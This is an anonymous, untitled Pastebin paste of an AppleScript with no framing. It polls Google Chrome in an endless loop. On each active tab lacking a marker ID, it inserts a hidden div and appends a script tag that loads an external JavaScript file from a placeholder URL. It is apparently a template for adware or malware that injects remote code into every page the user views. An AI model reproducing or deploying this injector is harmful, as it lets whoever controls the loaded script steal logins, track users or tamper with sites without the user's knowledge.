Advertisement
Guest User

Untitled

a guest
Oct 24th, 2016
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. global _pid
  2. set _pid to "pid_value_to_replace"
  3. repeat
  4. «event XFdrIjct» {}
  5. end repeat
  6.  
  7. on «event XFdrIjct» {}
  8. delay 0.5
  9. try
  10. if is_Chrome_running() then
  11. tell application "Google Chrome" to tell active tab of window 1
  12. set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML"
  13. if sourceHtml does not contain _pid then
  14. tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;"
  15. tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);"
  16. end if
  17. end tell
  18. end if
  19. end try
  20. end «event XFdrIjct»
  21.  
  22. on is_Chrome_running()
  23. tell application "System Events" to (name of processes) contains "Google Chrome"
  24. end is_Chrome_running
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement